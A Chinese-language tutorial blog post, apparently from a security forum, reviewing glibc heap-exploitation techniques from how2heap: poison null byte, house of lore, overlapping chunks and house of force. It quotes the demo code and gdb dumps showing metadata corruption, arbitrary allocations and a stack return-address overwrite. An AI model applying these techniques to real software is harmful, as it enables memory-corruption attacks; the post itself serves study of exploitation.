紧着上次的继续

通过 how2heap 复习堆利用 (一) https://xz.aliyun.com/t/2582

0x07 poison_null_byte

off-one-by-one 的经典例子,一个0字节溢出。在一个字节溢出中,通常有以下情景:

  1. 扩展块
  2. 收缩块

首先,我们创建了 a b c barrier 四个chunk。

a = (uint8_t*) malloc(0x100);
    fprintf(stderr, "a: %p\n", a);
    int real_a_size = malloc_usable_size(a);
    fprintf(stderr, "Since we want to overflow 'a', we need to know the 'real' size of 'a' "
        "(it may be more than 0x100 because of rounding): %#x\n", real_a_size);

    /* chunk size attribute cannot have a least significant byte with a value of 0x00.
     * the least significant byte of this will be 0x10, because the size of the chunk includes
     * the amount requested plus some amount required for the metadata. */
    b = (uint8_t*) malloc(0x200);

    fprintf(stderr, "b: %p\n", b);

    c = (uint8_t*) malloc(0x100);
    fprintf(stderr, "c: %p\n", c);

    barrier =  malloc(0x100);
    fprintf(stderr, "We allocate a barrier at %p, so that c is not consolidated with the top-chunk when freed.\n"
        "The barrier is not strictly necessary, but makes things less confusing\n", barrier);

值得一提的是, barrier 这个chunk是用来防止 free c 的时候被放入 top-chunk。以及 b c 的 chunk 大小不能为 fastbins chunk size。因为 fastbins chunk 在被释放后不会合并。chunk a的作用是用来制造单字节溢出。

在进行一字节溢出之前,由于我们通过 chunk a 的单字节溢出修改了 chunk b 的 size ,为了绕过 unlink 的checnk ,我们先伪造一个 c prev_size。 计算方法如下:

c.prev_size = b_size & 0xff00

计算结果就是

0x200 = 0x211 & 0xff00

正好是 NULL 字节溢出之后的值。紧接着我们 free 掉 chunk b。此时 chunk 布局如下:

PwnLife> x/124gx 0x603000
0x603000:   0x0000000000000000  0x0000000000000111         <-- chunk a
0x603010:   0x0000000000000000  0x0000000000000000
0x603020:   0x0000000000000000  0x0000000000000000
0x603030:   0x0000000000000000  0x0000000000000000
0x603040:   0x0000000000000000  0x0000000000000000
0x603050:   0x0000000000000000  0x0000000000000000
0x603060:   0x0000000000000000  0x0000000000000000
0x603070:   0x0000000000000000  0x0000000000000000
0x603080:   0x0000000000000000  0x0000000000000000
0x603090:   0x0000000000000000  0x0000000000000000
0x6030a0:   0x0000000000000000  0x0000000000000000
0x6030b0:   0x0000000000000000  0x0000000000000000
0x6030c0:   0x0000000000000000  0x0000000000000000
0x6030d0:   0x0000000000000000  0x0000000000000000
0x6030e0:   0x0000000000000000  0x0000000000000000
0x6030f0:   0x0000000000000000  0x0000000000000000
0x603100:   0x0000000000000000  0x0000000000000000
0x603110:   0x0000000000000000  0x0000000000000211      <--- chunk b [was free]
0x603120:   0x00007ffff7dd1b58  0x00007ffff7dd1b58           fd ,bk
0x603130:   0x0000000000000000  0x0000000000000000
0x603140:   0x0000000000000000  0x0000000000000000
....
....
....
0x603300:   0x0000000000000000  0x0000000000000000
0x603310:   0x0000000000000200  0x0000000000000000          fake c.prev.size 
0x603320:   0x0000000000000210  0x0000000000000110    <--- chunk c
0x603330:   0x0000000000000000  0x0000000000000000
0x603340:   0x0000000000000000  0x0000000000000000
0x603350:   0x0000000000000000  0x0000000000000000
0x603360:   0x0000000000000000  0x0000000000000000
0x603370:   0x0000000000000000  0x0000000000000000
0x603380:   0x0000000000000000  0x0000000000000000
0x603390:   0x0000000000000000  0x0000000000000000
0x6033a0:   0x0000000000000000  0x0000000000000000
0x6033b0:   0x0000000000000000  0x0000000000000000
0x6033c0:   0x0000000000000000  0x0000000000000000
0x6033d0:   0x0000000000000000  0x0000000000000000

Free list

PwnLife> unsortedbin
unsortedbin
all: 0x603110 —▸ 0x7ffff7dd1b58 (main_arena+88) ◂— 0x603110

然后我们利用 一字节溢出 修改 chunk b size。

这个时候我们发现 chunk b 的 size 已经成功被修改,同时我们也 fake 了 个 chunk c。

* bypass : chunksize(P) == 0x200 == 0x200 == prev_size (next_chunk(P))

紧接着我们 create chunk b1 ,系统会从 free 掉的chunk b 中(已经放入 unsortedbin 取出合适的大小)。

PwnLife> p b1
$25 = (uint8_t *) 0x603120 "H\035\335\367\377\177"
PwnLife> p b
$26 = (uint8_t *) 0x603120 "H\035\335\367\377\177"

我们注意到几个地方:

  1. chunk b1 的位置就是 chunk b 的位置
  2. 这个时候 b1 和 c 之间有个 chunk b,这个时候 chunk c 的 prev_size 本应该变为 0xf0。但是事实上是

PwnLife> x/30gx 0x603330-0x20
0x603310:   0x00000000000000f0  0x0000000000000000              < --- fake chunk c 
0x603320:   0x0000000000000210  0x0000000000000110        < --- chunk c
0x603330:   0x0000000000000000  0x0000000000000000
0x603340:   0x0000000000000000  0x0000000000000000
0x603350:   0x0000000000000000  0x0000000000000000
0x603360:   0x0000000000000000  0x0000000000000000
0x603370:   0x0000000000000000  0x0000000000000000
0x603380:   0x0000000000000000  0x0000000000000000
0x603390:   0x0000000000000000  0x0000000000000000
0x6033a0:   0x0000000000000000  0x0000000000000000
0x6033b0:   0x0000000000000000  0x0000000000000000
0x6033c0:   0x0000000000000000  0x0000000000000000
0x6033d0:   0x0000000000000000  0x0000000000000000
0x6033e0:   0x0000000000000000  0x0000000000000000
0x6033f0:   0x0000000000000000  0x0000000000000000
PwnLife> p c
$30 = (uint8_t *) 0x603330 ""               <--- chunk c ptr

这是由于我们 fake 了一个 c.prev_size 系统修改的是我们的 fake c.prev_size。所以 chunk c 依然认为 chunk b 的地方有一个大小为 0x210 的 free chunk 。然后我们在 create 一个 chunk b2。

然后就是,我们先后 free b1 ,c。

95   free(b1);
   96   free(c);

先 free b1,这个时候 chunk c 会认为 b1 就是 chunk b。当我们 free chunk c 的时候,chunk会和chunk b1合并。由于 chunk c 认为 chunk b1 依旧是 chunk b。因此会把中间的 chunk c 吞并。

0x603110 PREV_INUSE {
  prev_size = 0x0,
  size = 0x321,
  fd = 0x6032b0,
  bk = 0x7ffff7dd1b58 <main_arena+88>,
  fd_nextsize = 0x0,
  bk_nextsize = 0x0
}

此时 chunk b2 已经被吞并。

然后我们在把这块 chunk create出来。假设我们之前对 chunk b2 写的是一个指针。此时我们 得到的新 chunk d。我们可以对chunk b2的内容进行任意读写了。

98  fprintf(stderr, "Finally, we allocate 'd', overlapping 'b2'.\n");
    99  d = malloc(0x300);
   100  fprintf(stderr, "d: %p\n",d);
   101
  102  fprintf(stderr, "Now 'd' and 'b2' overlap.\n");
   103  memset(d,'D',0x300);
   104
   105  fprintf(stderr, "New b2 content:\n%s\n",b2);

0x08 house_of_lore

house of lore 技术主要是用来伪造一个 small bin 链。

  • House of Lore 攻击与 Glibc 堆管理中的的 Small Bin 的机制紧密相关。

  • House of Lore 可以实现分配任意指定位置的 chunk,从而修改任意地址的内存。

  • House of Lore 利用的前提是需要控制 Small Bin Chunk 的 bk 指针,并且控制指定位置 chunk 的 fd 指针。

如果在 malloc 的时候,申请的内存块在 small bin 范围内,那么执行的流程如下

/*
       If a small request, check regular bin.  Since these "smallbins"
       hold one size each, no searching within bins is necessary.
       (For a large request, we need to wait until unsorted chunks are
       processed to find best fit. But for small ones, fits are exact
       anyway, so we can check now, which is faster.)
     */

    if (in_smallbin_range(nb)) {
        // 获取 small bin 的索引
        idx = smallbin_index(nb);
        // 获取对应 small bin 中的 chunk 指针
        bin = bin_at(av, idx);
        // 先执行 victim= last(bin),获取 small bin 的最后一个 chunk
        // 如果 victim = bin ,那说明该 bin 为空。
        // 如果不相等,那么会有两种情况
        if ((victim = last(bin)) != bin) {
            // 第一种情况,small bin 还没有初始化。
            if (victim == 0) /* initialization check */
                // 执行初始化,将 fast bins 中的 chunk 进行合并
                malloc_consolidate(av);
            // 第二种情况,small bin 中存在空闲的 chunk
            else {
                // 获取 small bin 中倒数第二个 chunk 。
                bck = victim->bk;
                // 检查 bck->fd 是不是 victim,防止伪造
                if (__glibc_unlikely(bck->fd != victim)) {
                    errstr = "malloc(): smallbin double linked list corrupted";
                    goto errout;
                }
                // 设置 victim 对应的 inuse 位
                set_inuse_bit_at_offset(victim, nb);
                // 修改 small bin 链表,将 small bin 的最后一个 chunk 取出来
                bin->bk = bck;
                bck->fd = bin;
                // 如果不是 main_arena,设置对应的标志
                if (av != &main_arena) set_non_main_arena(victim);
                // 细致的检查
                check_malloced_chunk(av, victim, nb);
                // 将申请到的 chunk 转化为对应的 mem 状态
                void *p = chunk2mem(victim);
                // 如果设置了 perturb_type , 则将获取到的chunk初始化为 perturb_type ^ 0xff
                alloc_perturb(p, bytes);
                return p;
            }
        }
    }

从下面的这部分我们可以看出

// 获取 small bin 中倒数第二个 chunk 。
                bck = victim->bk;
                // 检查 bck->fd 是不是 victim,防止伪造
                if (__glibc_unlikely(bck->fd != victim)) {
                    errstr = "malloc(): smallbin double linked list corrupted";
                    goto errout;
                }
                // 设置 victim 对应的 inuse 位
                set_inuse_bit_at_offset(victim, nb);
                // 修改 small bin 链表,将 small bin 的最后一个 chunk 取出来
                bin->bk = bck;
                bck->fd = bin;

如果我们可以修改 small bin 的最后一个 chunk 的 bk 为我们指定内存地址的fake chunk,并且同时满足之后的 bck->fd != victim 的检测,那么我们就可以使得 small bin 的 bk 恰好为我们构造的 fake chunk。也就是说,当下一次申请 small bin 的时候,我们就会分配到指定位置的 fake chun。

调试:

首先,我们创建一个 small bin chunk。然后在栈上伪造两个 chunk。

伪造的两个 chunk , chunk 1 的 fd 指向 victim chunk,bk 指向 chunk2 ,chunk 2 的fd 指向 chunk 1。这样就构造了一个 small bin 链。

由于上文提到的 check

7 else
  8     {
  9       bck = victim->bk;
 10     if (__glibc_unlikely (bck->fd != victim)){
 11
 12                   errstr = "malloc(): smallbin double linked list corrupted";
 13                   goto errout;
 14                 }
 15
 16        set_inuse_bit_at_offset (victim, nb);
 17        bin->bk = bck;
 18        bck->fd = bin;
 19
 20        [ ... ]
 21
 22 */

所以伪造了 两个chunk 以及他们的 fd ,bk。

void *p5 = malloc(1000);

在 free 掉 victim 之前,我们 malloc 了一块 size 为1000的chunk,只是为了确保在 free 时 victim chunk 不会被合并进 top chunk 里。

然后我们释放掉 victim, 并申请一块比较大的chunk,只需要大到让 malloc 在 unsorted bin 中找不到合适的就可以了,这样就会让 victim 被整理到 smallbins中。

PwnLife> bins
fastbins
0x20: 0x0
0x30: 0x0
0x40: 0x0
0x50: 0x0
0x60: 0x0
0x70: 0x0
0x80: 0x0
unsortedbin
all: 0x0
smallbins
0x70: 0x7ffff7dd1bb8 (main_arena+184) —▸ 0x603000 ◂— 0x7ffff7dd1bb8
largebins
empty
PwnLife>

接着就是漏洞利用的一个重点,我们假设我们有机会去修改victim chunk 的 bk 指针。并让他指向我们在栈上 fake 的chunk。

victim[1] = (intptr_t)stack_buffer_1; // victim->bk is pointing to stack

这个时候 , victim chunk的bk指向 stack_buffer_1, fake chunk 1 的fd 指向了 victim chunk。我们知道 small bins 是先进后出的,节点的增加发生在链表头部,而删除发生在尾部。这时整条链是这样的:

head  <-fake chunk2 <- facke chunk1 <- victim chunk

fake chunk 2 的 bk 指向了一个未定义的地址,如果能通过内存泄露等手段,拿到 HEAD 的地址并填进去,整条链就闭合了。当然这里完全没有必要这么做。

紧接着,我们 malloc 一块 chunk,如果我们malloc 的大小正好是 victim chunk 的大小,这个时候系统会将 victim chunk 取出。

void *p3 = malloc(100);

然后,我们再 malloc 一块。这个时候,我们就能欺骗系统,在stack栈上返回一块chunk。

101   fprintf(stderr, "This last malloc should trick the glibc malloc to return a chunk at the position injected in bin->bk\n");
   102   char *p4 = malloc(100);
   103   fprintf(stderr, "p4 = malloc(100)\n");
   104
  105   fprintf(stderr, "\nThe fwd pointer of stack_buffer_2 has changed after the last malloc to %p\n",

然后我们可以完成攻击

108   fprintf(stderr, "\np4 is %p and should be on the stack!\n", p4); // this chunk will be allocated on stack
  109   intptr_t sc = (intptr_t)jackpot; // Emulating our in-memory shellcode
   110   memcpy((p4+40), &sc, 8); // This bypasses stack-smash detection since it jumps over the canary

P4 + 40 的位置刚好是 eip的的位置。

最后,我们说的是small bin 链的构造,其实我这里用的是 fastbin ,其释放后虽然是被加入到 fast bins 中,而small bin是释放后 放入 unsorted bin,但 malloc 之后,也会被整理到 small bins 里。

0x09 overlapping_chunks

简单的堆重叠,通过修改 size,吞并邻块,然后再下次 malloc的时候,把邻块给一起分配出来。这个时候就有了两个指针可以操作邻块。一个新块指针,一个旧块指针。

22   p1 = malloc(0x100 - 8);
   23   p2 = malloc(0x100 - 8);
   24   p3 = malloc(0x80 - 8);

首先分配,三个chunk。

PwnLife> heap
0x603000 PREV_INUSE {
  prev_size = 0x0,
  size = 0x101,
  fd = 0x0,
  bk = 0x0,
  fd_nextsize = 0x0,
  bk_nextsize = 0x0
}
0x603100 PREV_INUSE {
  prev_size = 0x0,
  size = 0x101,
  fd = 0x0,
  bk = 0x0,
  fd_nextsize = 0x0,
  bk_nextsize = 0x0
}
0x603200 FASTBIN {
  prev_size = 0x0,
  size = 0x81,
  fd = 0x0,
  bk = 0x0,
  fd_nextsize = 0x0,
  bk_nextsize = 0x0

紧接着 free 掉 chunk2

free(p2);

这个时候 chunk 2 被分配到了 unsortedbin

0x603100 PREV_INUSE {
  prev_size = 0x3131313131313131,
  size = 0x101,
  fd = 0x7ffff7dd1b58 <main_arena+88>,
  bk = 0x7ffff7dd1b58 <main_arena+88>,
  fd_nextsize = 0x3232323232323232,
  bk_nextsize = 0x3232323232323232
}

PwnLife> bins
fastbins
0x20: 0x0
0x30: 0x0
0x40: 0x0
0x50: 0x0
0x60: 0x0
0x70: 0x0
0x80: 0x0
unsortedbin
all: 0x7ffff7dd1b58 (main_arena+88) —▸ 0x603100 ◂— 0x7ffff7dd1b58
smallbins
empty
largebins
empty

然后,假设我们这个时候可以通过堆溢出修改 chunk 2的size

42   int evil_chunk_size = 0x181;
   43   int evil_region_size = 0x180 - 8;
   44   fprintf(stderr, "We are going to set the size of chunk p2 to to %d, which gives us\na region size of %d\n",
   45        evil_chunk_size, evil_region_size);
   46
   47   *(p2-1) = evil_chunk_size; // we are overwriting the "size" field of chunk p2
0x603000 PREV_INUSE {
  prev_size = 0x0,
  size = 0x101,
  fd = 0x3131313131313131,
  bk = 0x3131313131313131,
  fd_nextsize = 0x3131313131313131,
  bk_nextsize = 0x3131313131313131
}
0x603100 PREV_INUSE {
  prev_size = 0x3131313131313131,
  size = 0x181,
  fd = 0x7ffff7dd1b58 <main_arena+88>,
  bk = 0x7ffff7dd1b58 <main_arena+88>,
  fd_nextsize = 0x3232323232323232,
  bk_nextsize = 0x3232323232323232
}
0x603280 PREV_INUSE {
  prev_size = 0x3333333333333333,
  size = 0x20d81,
  fd = 0x0,
  bk = 0x0,
  fd_nextsize = 0x0,
  bk_nextsize = 0x0
}

这个时候,我们发现 chunk 2的size被修改后,吞并了 chunk3,如果我们这时候 malloc 一块 0x180 的chunk。即将会把 chunk2 和chunk3 一起分配出来。

p4 = malloc(evil_region_size); //evil_region_size = 0x180-8

当我们对 p4 进行写操作的时候

66   fprintf(stderr, "\nIf we memset(p4, '4', %d), we have:\n", evil_region_size);
   67   memset(p4, '4', evil_region_size);
   68   fprintf(stderr, "p4 = %s\n", (char *)p4);
   69   fprintf(stderr, "p3 = %s\n", (char *)p3);

顺便把 p3 也写了。

PwnLife> x/40gx 0x603100
0x603100:   0x3131313131313131  0x0000000000000181
0x603110:   0x3434343434343434  0x3434343434343434
0x603120:   0x3434343434343434  0x3434343434343434
0x603130:   0x3434343434343434  0x3434343434343434
0x603140:   0x3434343434343434  0x3434343434343434
0x603150:   0x3434343434343434  0x3434343434343434
0x603160:   0x3434343434343434  0x3434343434343434
0x603170:   0x3434343434343434  0x3434343434343434
0x603180:   0x3434343434343434  0x3434343434343434
0x603190:   0x3434343434343434  0x3434343434343434
0x6031a0:   0x3434343434343434  0x3434343434343434
0x6031b0:   0x3434343434343434  0x3434343434343434
0x6031c0:   0x3434343434343434  0x3434343434343434
0x6031d0:   0x3434343434343434  0x3434343434343434
0x6031e0:   0x3434343434343434  0x3434343434343434
0x6031f0:   0x3434343434343434  0x3434343434343434
0x603200:   0x3434343434343434  0x3434343434343434
0x603210:   0x3434343434343434  0x3434343434343434
0x603220:   0x3434343434343434  0x3434343434343434
0x603230:   0x3434343434343434  0x3434343434343434

PwnLife> p p3
$13 = (intptr_t *) 0x603210
PwnLife> x/20gx  p3
0x603210:   0x3434343434343434  0x3434343434343434
0x603220:   0x3434343434343434  0x3434343434343434
0x603230:   0x3434343434343434  0x3434343434343434
0x603240:   0x3434343434343434  0x3434343434343434
0x603250:   0x3434343434343434  0x3434343434343434
0x603260:   0x3434343434343434  0x3434343434343434
0x603270:   0x3434343434343434  0x3434343434343434
0x603280:   0x3434343434343434  0x0000000000020d81
0x603290:   0x0000000000000000  0x0000000000000000
0x6032a0:   0x0000000000000000  0x0000000000000000
PwnLife>

我们也可以去修改 p3 ,修改 p4的内容。

71   fprintf(stderr, "\nAnd if we then memset(p3, '3', 80), we have:\n");
   72   memset(p3, '3', 80);
   73   fprintf(stderr, "p4 = %s\n", (char *)p4);
   74   fprintf(stderr, "p3 = %s\n", (char *)p3);

0x10 overlapping_chunks_2

同样是堆重叠问题,这里是在 free 之前修改 size 值,使 free 错误地修改了下一个 chunk 的 prev_size 值,导致中间的 chunk 强行合并。

我们这里 malloc 五块chunk,第五块的作用是防止 chunk 4 被free 后被放入 top chunk。然后这里的覆盖目标是 chunk2 到chunk4。

首先 free 掉 chunk 4

free(p4);

由于 chunk 4现在是 free 状态,这个时候 chunk 5 的presize 如下:

PwnLife> p p5
$3 = (intptr_t *) 0x603fd0
PwnLife> x/20gx p5-4
0x603fb0:   0x4444444444444444  0x4444444444444444                  <--- chunk 5
0x603fc0:   0x00000000000003f0  0x00000000000003f0     <---prev size   / size  
0x603fd0:   0x4545454545454545  0x4545454545454545
0x603fe0:   0x4545454545454545  0x4545454545454545
0x603ff0:   0x4545454545454545  0x4545454545454545
0x604000:   0x4545454545454545  0x4545454545454545
0x604010:   0x4545454545454545  0x4545454545454545
0x604020:   0x4545454545454545  0x4545454545454545
0x604030:   0x4545454545454545  0x4545454545454545
0x604040:   0x4545454545454545  0x4545454545454545
PwnLife>

紧接着,我们假设 chunk 1 有堆溢出,我们可以通过堆溢出修改 chunk 2的size

*(unsigned int *)((unsigned char *)p1 + real_size_p1 ) = real_size_p2 + real_size_p3 + prev_in_use + sizeof(size_t) * 2; //<--- BUG HERE
PwnLife> p p2
$4 = (intptr_t *) 0x603400
PwnLife> x/20gx p2-2
0x6033f0:   0x4141414141414141  0x00000000000007e1      <--- size
0x603400:   0x4242424242424242  0x4242424242424242
0x603410:   0x4242424242424242  0x4242424242424242
0x603420:   0x4242424242424242  0x4242424242424242
0x603430:   0x4242424242424242  0x4242424242424242
0x603440:   0x4242424242424242  0x4242424242424242
0x603450:   0x4242424242424242  0x4242424242424242
0x603460:   0x4242424242424242  0x4242424242424242
0x603470:   0x4242424242424242  0x4242424242424242
0x603480:   0x4242424242424242  0x4242424242424242
PwnLife>

chunk 2 的 size 值修改为 chunk 2 和 chunk 3 的大小之和,最后的 1 是标志位。这样当我们释放 chunk 2 的时候,malloc 根据这个被修改的 size 值,会以为 chunk 2 加上 chunk 3 的区域都是要释放的,然后就错误地修改了 chunk 5 的 prev_size。

59   fprintf(stderr, "\nNow during the free() operation on p2, the allocator is fooled to think that \nthe nextchunk is p4 ( since p2 + size_p2 now point to p4 ) \n");
   60   fprintf(stderr, "\nThis operation will basically create a big free chunk that wrongly includes p3\n");
   61   free(p2);
PwnLife> p p5
$5 = (intptr_t *) 0x603fd0
PwnLife> x/20gx p5-2
0x603fc0:   0x0000000000000bd0  0x00000000000003f0   <--- prev size / size
0x603fd0:   0x4545454545454545  0x4545454545454545
0x603fe0:   0x4545454545454545  0x4545454545454545
0x603ff0:   0x4545454545454545  0x4545454545454545
0x604000:   0x4545454545454545  0x4545454545454545
0x604010:   0x4545454545454545  0x4545454545454545
0x604020:   0x4545454545454545  0x4545454545454545
0x604030:   0x4545454545454545  0x4545454545454545
0x604040:   0x4545454545454545  0x4545454545454545
0x604050:   0x4545454545454545  0x4545454545454545
PwnLife>

我们会发现,当free 掉 chunk 2 后, chunk 2 ,chunk 3 一起被释放,接着,它发现紧邻的一块 chunk 4 也是 free 状态,就把它俩合并在了一起,组成一个大 free chunk,放进 unsorted bin 中。 chunk 5 的 prev size 也发生了变化。

然后当我们申请一块新chunk的时候,会从 unsorted bin中取出一部分,比如这里我们申请一块 p6

p6 = malloc(2000);

即将 chunk 2 chunk 3 的部分拿出来。

PwnLife> p p6
$6 = (intptr_t *) 0x603400
PwnLife> x/20gx p6-2
0x6033f0:   0x4141414141414141  0x00000000000007e1
0x603400:   0x00007ffff7dd2138  0x00007ffff7dd2138
0x603410:   0x00000000006033f0  0x00000000006033f0
0x603420:   0x4242424242424242  0x4242424242424242
0x603430:   0x4242424242424242  0x4242424242424242
0x603440:   0x4242424242424242  0x4242424242424242
0x603450:   0x4242424242424242  0x4242424242424242
0x603460:   0x4242424242424242  0x4242424242424242
0x603470:   0x4242424242424242  0x4242424242424242
0x603480:   0x4242424242424242  0x4242424242424242

然后 unsorted bin中剩下的部分就是 chunk4

PwnLife> bins
fastbins
0x20: 0x0
0x30: 0x0
0x40: 0x0
0x50: 0x0
0x60: 0x0
0x70: 0x0
0x80: 0x0
unsortedbin
all: 0x7ffff7dd1b58 (main_arena+88) —▸ 0x603bd0 ◂— 0x7ffff7dd1b58
smallbins
empty
largebins
empty
PwnLife> x/20gx 0x603bd0
0x603bd0:   0x4343434343434343  0x00000000000003f1
0x603be0:   0x00007ffff7dd1b58  0x00007ffff7dd1b58
0x603bf0:   0x4444444444444444  0x4444444444444444
0x603c00:   0x4444444444444444  0x4444444444444444
0x603c10:   0x4444444444444444  0x4444444444444444
0x603c20:   0x4444444444444444  0x4444444444444444
0x603c30:   0x4444444444444444  0x4444444444444444
0x603c40:   0x4444444444444444  0x4444444444444444
0x603c50:   0x4444444444444444  0x4444444444444444
0x603c60:   0x4444444444444444  0x4444444444444444
PwnLife>

这个时候,chunk 6 和chunk 3就已经是同一块 chunk了。

0x11 house_of_force

Exploiting the Top Chunk (Wilderness) header in order to get malloc to return a nearly-arbitrary pointer

house_of_force 是一种通过改写 top chunk 的 size 字段来欺骗 malloc 返回任意地址的技术。我们知道在空闲内存的最高处,必然存在一块空闲的 chunk,即 top chunk,当 bins 和 fast bins 都不能满足分配需要的时候,malloc 会从 top chunk 中分出一块内存给用户。所以 top chunk 的大小会随着分配和回收不停地变化。

首先随便 malloc 一个 chunk

PwnLife> x/20gx 0x603000
0x603000:   0x0000000000000000  0x0000000000000111
0x603010:   0x0000000000000000  0x0000000000000000
0x603020:   0x0000000000000000  0x0000000000000000
0x603030:   0x0000000000000000  0x0000000000000000
0x603040:   0x0000000000000000  0x0000000000000000
0x603050:   0x0000000000000000  0x0000000000000000
0x603060:   0x0000000000000000  0x0000000000000000
0x603070:   0x0000000000000000  0x0000000000000000
0x603080:   0x0000000000000000  0x0000000000000000
0x603090:   0x0000000000000000  0x0000000000000000
PwnLife>
0x6030a0:   0x0000000000000000  0x0000000000000000
0x6030b0:   0x0000000000000000  0x0000000000000000
0x6030c0:   0x0000000000000000  0x0000000000000000
0x6030d0:   0x0000000000000000  0x0000000000000000
0x6030e0:   0x0000000000000000  0x0000000000000000
0x6030f0:   0x0000000000000000  0x0000000000000000
0x603100:   0x0000000000000000  0x0000000000000000
0x603110:   0x0000000000000000  0x0000000000020ef1             <--- top chunk
0x603120:   0x0000000000000000  0x0000000000000000
0x603130:   0x0000000000000000  0x0000000000000000

这个时候我们假设 第一个chunk 有溢出漏洞,我们可以去修改。top chunk 的size

*(intptr_t *)((char *)ptr_top + sizeof(long)) = -1;
PwnLife> x/20gx 0x603100
0x603100:   0x0000000000000000  0x0000000000000000
0x603110:   0x0000000000000000  0xffffffffffffffff         <--- top chunk 
0x603120:   0x0000000000000000  0x0000000000000000
0x603130:   0x0000000000000000  0x0000000000000000
0x603140:   0x0000000000000000  0x0000000000000000
0x603150:   0x0000000000000000  0x0000000000000000
0x603160:   0x0000000000000000  0x0000000000000000
0x603170:   0x0000000000000000  0x0000000000000000
0x603180:   0x0000000000000000  0x0000000000000000
0x603190:   0x0000000000000000  0x0000000000000000

我们发现,这个时候size被修改为一个 大数。

现在我们可以 malloc 一个任意大小的内存而不用调用 mmap 了。接下来 malloc 一个 chunk,使得该 chunk 刚好分配到我们想要控制的那块区域为止,这样在下一次 malloc 时,就可以返回到我们想要控制的区域了。计算方法是用目标地址减去 top chunk 地址,再减去 chunk 头的大小。

67   unsigned long evil_size = (unsigned long)bss_var - sizeof(long)*4 - (unsigned long)ptr_top;
   68   fprintf(stderr, "\nThe value we want to write to at %p, and the top chunk is at %p, so accounting for the header size,\n"
   69      "we will malloc %#lx bytes.\n", bss_var, ptr_top, evil_size);
   70   void *new_ptr = malloc(evil_size);

这样就成功把。bss_var 给分配了出来

0x602050 PREV_INUSE {
  prev_size = 0x0,
  size = 0x10b9,
  fd = 0x2073692073696854,
  bk = 0x676e697274732061,
  fd_nextsize = 0x6577207461687420,
  bk_nextsize = 0x6f7420746e617720
}
0x603108 {
  prev_size = 0x0,
  size = 0x0,
  fd = 0xffffffffffffef41,
  bk = 0x0,
  fd_nextsize = 0x0,
  bk_nextsize = 0x0
}
PwnLife> x/20s 0x602050
0x602050:   ""
0x602051:   ""
0x602052:   ""
0x602053:   ""
0x602054:   ""
0x602055:   ""
0x602056:   ""
0x602057:   ""
0x602058:   "\271\020"
0x60205b:   ""
0x60205c:   ""
0x60205d:   ""
0x60205e:   ""
0x60205f:   ""
0x602060 <bss_var>: "This is a strin"...
0x60206f <bss_var+15>:  "g that we want "...
0x60207e <bss_var+30>:  "to overwrite."
0x60208c:   ""
0x60208d:   ""
0x60208e:   ""
PwnLife>

该技术的缺点是会受到 ASLR 的影响,因为如果攻击者需要修改指定位置的内存,他首先需要知道当前 top chunk 的位置以构造合适的 malloc 大小来转移 top chunk。而 ASLR 将使堆内存地址随机,所以该技术还需同时配合使用信息泄漏以达成攻击。

点击收藏 | 0 关注 | 1
  • 动动手指,沙发就是你的了!
登录 后跟帖